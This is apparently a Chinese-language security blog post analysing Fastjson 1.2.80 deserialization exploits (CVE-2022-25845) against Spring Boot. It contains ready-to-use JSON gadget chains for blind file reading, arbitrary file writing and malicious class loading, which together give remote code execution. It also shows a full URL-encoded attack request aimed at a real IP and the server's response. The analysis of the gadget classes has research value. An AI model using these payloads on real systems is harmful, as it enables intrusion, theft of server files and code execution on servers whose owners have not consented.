前言
众所周知,spring 下是不可以上传 jsp 的木马来 rce 的,一般都是控制加载 class 或者 jar 包来 rce 的,我们的 fastjson 的高版本正好可以完成这些,这里来简单分析一手
环境搭建
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.2</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>org.eclipse.jdt.core</artifactId>
<version>1.9.22</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.80</version>
</dependency>
大概是这些
然后写一个解析 json 的路由就 ok 了
然后可以直接用
https://github.com/luelueking/CVE-2022-25845-In-Spring
spring 加载 class 原理
一个 spring 运行后大部分类都不会加载了,但是任然有一些特别的
比如 tomcat-docbase
这个原理的话,如果学习过 spi 机制的话,其实还是有点像的
启动 docker 后我们的 tmp 目录一定会有一个
/tomcat-docbase........后面内容是随机的
如果在/tmp/tomcat-docbase....../WEB-INF/classes/
下有我们的恶意 class,那么就会加载它,但是随机目录名给我们利用造成了很大的困难,所以读取文件就非常重要了,那分析分析 fastjson 读取文件是如何来读取的
fastjson 的利用
fastjson 读取文件
本地测试的话大家可以在服务器或者本地放一个文件
root@VM-16-17-ubuntu:/var/www/html# cat 1.txt
flag{yes}
然后使用如下的 paylaod
{
"a": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "http://ip/1.txt"
},
"charsetName": "UTF-8",
"bufferSize": "1024"
},
"boms": [
{
"charsetName": "UTF-8",
"bytes":[102]
}
]
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [1]
}
]
},
"b": {"$ref":"$.a.delegate"}
}
然后发送如下的请求
POST /json HTTP/1.1
Host: 127.0.0.1:8080
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: USER_ID_ANONYMOUS=97269975b0004387b7443950946b97a8; DETECTED_VERSION=5.1.0; MAIN_MENU_COLLAPSE=false
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 2141
json=%7b%0a%20%20%22%61%22%3a%20%7b%0a%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%22%2c%0a%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%69%6e%70%75%74%2e%42%4f%4d%49%6e%70%75%74%53%74%72%65%61%6d%22%2c%0a%20%20%20%20%22%64%65%6c%65%67%61%74%65%22%3a%20%7b%0a%20%20%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%69%6e%70%75%74%2e%42%4f%4d%49%6e%70%75%74%53%74%72%65%61%6d%22%2c%0a%20%20%20%20%20%20%22%64%65%6c%65%67%61%74%65%22%3a%20%7b%0a%20%20%20%20%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%69%6e%70%75%74%2e%52%65%61%64%65%72%49%6e%70%75%74%53%74%72%65%61%6d%22%2c%0a%20%20%20%20%20%20%20%20%22%72%65%61%64%65%72%22%3a%20%7b%0a%20%20%20%20%20%20%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6a%64%6b%2e%6e%61%73%68%6f%72%6e%2e%61%70%69%2e%73%63%72%69%70%74%69%6e%67%2e%55%52%4c%52%65%61%64%65%72%22%2c%0a%20%20%20%20%20%20%20%20%20%20%22%75%72%6c%22%3a%20%22%68%74%74%70%3a%2f%2f%34%39%2e%32%33%32%2e%32%32%32%2e%31%39%35%2f%31%2e%74%78%74%22%0a%20%20%20%20%20%20%20%20%7d%2c%0a%20%20%20%20%20%20%20%20%22%63%68%61%72%73%65%74%4e%61%6d%65%22%3a%20%22%55%54%46%2d%38%22%2c%0a%20%20%20%20%20%20%20%20%22%62%75%66%66%65%72%53%69%7a%65%22%3a%20%22%31%30%32%34%22%0a%20%20%20%20%20%20%7d%2c%0a%20%20%20%20%20%20%22%62%6f%6d%73%22%3a%20%5b%0a%20%20%20%20%20%20%20%20%7b%0a%20%20%20%20%20%20%20%20%20%20%22%63%68%61%72%73%65%74%4e%61%6d%65%22%3a%20%22%55%54%46%2d%38%22%2c%0a%20%20%20%20%20%20%20%20%20%20%22%62%79%74%65%73%22%3a%5b%31%30%32%5d%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%5d%0a%20%20%20%20%7d%2c%0a%20%20%20%20%22%62%6f%6d%73%22%3a%20%5b%0a%20%20%20%20%20%20%7b%0a%20%20%20%20%20%20%20%20%22%63%68%61%72%73%65%74%4e%61%6d%65%22%3a%20%22%55%54%46%2d%38%22%2c%0a%20%20%20%20%20%20%20%20%22%62%79%74%65%73%22%3a%20%5b%31%5d%0a%20%20%20%20%20%20%7d%0a%20%20%20%20%5d%0a%20%20%7d%2c%0a%20%20%22%62%22%3a%20%7b%22%24%72%65%66%22%3a%22%24%2e%61%2e%64%65%6c%65%67%61%74%65%22%7d%0a%7d
注意需要编码
回显如下
HTTP/1.1 200
Content-Type: application/json
Date: Fri, 15 Nov 2024 07:16:59 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 116
{"a":{"bomcharsetName":null,"bom":null},"b":{"bomcharsetName":"UTF-8","bom":{"charsetName":"UTF-8","bytes":"Zg=="}}}
其中 Zg== 解码就是我们读取的内容
然后简单讲讲 paylaod,其实如果你直接发送这个 paylaod 应该是不行的,因为在 fastjson1.2.80 的话不接受 InputStream 的,所以在这之前我们需要先把这个类加入我们的缓存中
{
"a": "{ \"@type\": \"java.lang.Exception\", \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\", \"p\": { } }",
"b": {
"$ref": "$.a.a"
},
"c": "{ \"@type\": \"com.fasterxml.jackson.core.JsonParser\", \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\", \"in\": {}}",
"d": {
"$ref": "$.c.c"
}
}
原理以前已经分析过了,这一段 paylaod 就是为了把 InputStream 加入缓存
然后我们看看读文件的原理
org.apache.commons.io.input.BOMInputStream
这里利用的是它的构造函数和 getBOM
首先是构造方法
public BOMInputStream(final InputStream delegate, final boolean include, final ByteOrderMark... boms)
可以看到是可以传入一个 InputStream 类型的参数 delegete 和一个 ByteOrderMark 类型的数组
主要看下面的代码
public ByteOrderMark getBOM() throws IOException {
if (this.firstBytes == null) {
this.fbLength = 0;
int maxBomSize = ((ByteOrderMark)this.boms.get(0)).length();
this.firstBytes = new int[maxBomSize];
for(int i = 0; i < this.firstBytes.length; ++i) {
this.firstBytes[i] = this.in.read();
++this.fbLength;
if (this.firstBytes[i] < 0) {
break;
}
}
this.byteOrderMark = this.find();
if (this.byteOrderMark != null && !this.include) {
if (this.byteOrderMark.length() < this.firstBytes.length) {
this.fbIndex = this.byteOrderMark.length();
} else {
this.fbLength = 0;
}
}
}
return this.byteOrderMark;
}
private ByteOrderMark find() {
Iterator var1 = this.boms.iterator();
ByteOrderMark bom;
do {
if (!var1.hasNext()) {
return null;
}
bom = (ByteOrderMark)var1.next();
} while(!this.matches(bom));
return bom;
}
private boolean matches(ByteOrderMark bom) {
for(int i = 0; i < bom.length(); ++i) {
if (bom.get(i) != this.firstBytes[i]) {
return false;
}
}
return true;
}
可以看到这里是有一个逻辑的,先把 delegate 输入流的字节码转成 int 数组,然后拿 ByteOrderMark 里的 bytes 挨个字节遍历去比对,如果遍历过程有比对错误的 getBom 就会返回一个 null,如果遍历结束,没有比对错误那就会返回一个 ByteOrderMark 对象。所以这里文件读取成功的标志应该是 getBom 返回结果不为 null。
这也是我们利用的主要思路
然后我们的 delegte 是什么呢?
ReaderInputStream
public ReaderInputStream(final Reader reader, final CharsetEncoder encoder, final int bufferSize) {
this.reader = reader;
this.encoder = encoder;
this.encoderIn = CharBuffer.allocate(bufferSize);
this.encoderIn.flip();
this.encoderOut = ByteBuffer.allocate(128);
this.encoderOut.flip();
}
这是它的构造方法,是一个 reader,我们就看那个函数的名字,就是把我们的 reader 传为 in 或者 out 的类型
我们仔细看看方法
allocate(bufferSize)就是限制我们读取 char 的范围,然后 this.encoderIn.flip();就是为确定我们的范围
然后需要传入一个 reader 看到下一个类 URLReader
可以传入一个 URL 对象。这就意味着 file jar http 等协议都可以使用。我们可以指定自己的文件
可以说和 sql 的盲注一模一样了
这也是为什么我的 paylaod 中 byte 为 102 的原因,对应的是 f,和文件内容 flag...对得上
写文件
这个写文件的 paylaod 比较复杂
必不可少的依赖就是
<dependency> <groupId>commons-io</groupId> <artifactId>commons-io</artifactId> <version>2.7</version></dependency>
几乎写文件的链子都是围绕我们这个依赖展开的,而且这个依赖非常的常见
paylaod
{
"a": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.AutoCloseInputStream",
"in": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"@type": "org.apache.commons.io.input.CharSequenceInputStream",
"cs": {
"@type": "java.lang.String",
"value": "恶意字节码"
},
"charset": "iso-8859-1",
"bufferSize": 1024
},
"branch": {
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.LockableFileWriter",
"file": "写入路径",
"charset": "iso-8859-1",
"append": true
},
"charsetName": "iso-8859-1",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch": true
}
},
"b": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"inputStream": {
"$ref": "$.a"
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "iso-8859-1"
},
"charsetName": "iso-8859-1",
"bufferSize": 1024
},
"c": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"inputStream": {
"$ref": "$.a"
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "iso-8859-1"
},
"charsetName": "iso-8859-1",
"bufferSize": 1024
}
}
XmlStreamReader
我们观察他的构造函数
public XmlStreamReader(InputStream is, String httpContentType, boolean lenient, String defaultEncoding)throws IOException {
this.defaultEncoding = defaultEncoding;
BOMInputStream bom = new BOMInputStream(new BufferedInputStream(is, 4096), false, BOMS);
BOMInputStream pis = new BOMInputStream(bom, true, XML_GUESS_BYTES);
this.encoding = this.doHttpStream(bom, pis, httpContentType, lenient);
this.reader = new InputStreamReader(pis, this.encoding);
}
重点就是 doHttpStream 方法最终会调用到 InputStream.read 方法
XmlStreamReader.<init>(InputStream, String, boolean, String)
XmlStreamReader.doHttpStream(BOMInputStream, BOMInputStream, String, boolean)
BOMInputStream.getBOMCharsetName()
BOMInputStream.getBOM()
BufferedInputStream.read()
BufferedInputStream.fill()
InputStream.read(byte[], int, int)
但是我们如果要写文件,需要的是 Output 类型的流,这里就用到了一个神奇的类
TeeInputStream
public TeeInputStream(
InputStream input, OutputStream branch, boolean closeBranch) {
super(input);
this.branch = branch;
this.closeBranch = closeBranch;
}
可以看到是接受输出和输入流的,我们看到他的 read 方法
public int read() throws IOException {
int ch = super.read();
if (ch != -1) {
branch.write(ch);
}
return ch;
}
把读取的转化为输出的,那不就是完成了流的转化吗,这样我们就可以利用 input 流来写文件了
通过 TeeInputStream,InputStream 输入流里读出来的东西可以重定向写入到 OutputStream 输出流。
但是我们如果要控制写入的内容,还需要控制读取的内容,我们关注读取的部分
我们需要传入一个 input 对象
利用的是
ReaderInputStream + CharSequenceReader
ReaderInputStream.read--> ReaderInputStream. fillBuffer
private void fillBuffer() throws IOException {
if (!this.endOfInput && (this.lastCoderResult == null || this.lastCoderResult.isUnderflow())) {
this.encoderIn.compact();
int position = this.encoderIn.position();
int c = this.reader.read(this.encoderIn.array(), position, this.encoderIn.remaining());
if (c == -1) {
this.endOfInput = true;
} else {
this.encoderIn.position(position + c);
}
this.encoderIn.flip();
}
this.encoderOut.compact();
this.lastCoderResult = this.encoder.encode(this.encoderIn, this.encoderOut, this.endOfInput);
this.encoderOut.flip();
}
CharSequenceReader.read
public int read(char[] array, int offset, int length) {
if (this.idx >= this.end()) {
return -1;
} else {
Objects.requireNonNull(array, "array");
if (length >= 0 && offset >= 0 && offset + length <= array.length) {
int count;
if (this.charSequence instanceof String) {
count = Math.min(length, this.end() - this.idx);
((String)this.charSequence).getChars(this.idx, this.idx + count, array, offset);
this.idx += count;
return count;
} else if (this.charSequence instanceof StringBuilder) {
count = Math.min(length, this.end() - this.idx);
((StringBuilder)this.charSequence).getChars(this.idx, this.idx + count, array, offset);
this.idx += count;
return count;
} else if (this.charSequence instanceof StringBuffer) {
count = Math.min(length, this.end() - this.idx);
((StringBuffer)this.charSequence).getChars(this.idx, this.idx + count, array, offset);
this.idx += count;
return count;
} else {
count = 0;
for(int i = 0; i < length; ++i) {
int c = this.read();
if (c == -1) {
return count;
}
array[offset + i] = (char)c;
++count;
}
return count;
}
} else {
throw new IndexOutOfBoundsException("Array Size=" + array.length + ", offset=" + offset + ", length=" + length);
}
}
}
加载 class
这个 payload 就比较简单了
{
"@type":"java.lang.Exception",
"@type":"恶意类的名称,带上包名"
}
这是因为第一次类是 Exception,然后会来到 deserialze:77, ThrowableDeserializer (com.alibaba.fastjson.parser.deserializer)
所以再次进入 checkAutoType 的时候 expectClass 不为空
最后
感觉 fastjson 以前的版本的绕过真的是很妙,特别是写文件的 payload,还可以取看看 1.2.68 的那部分,写文件的绕过更是精彩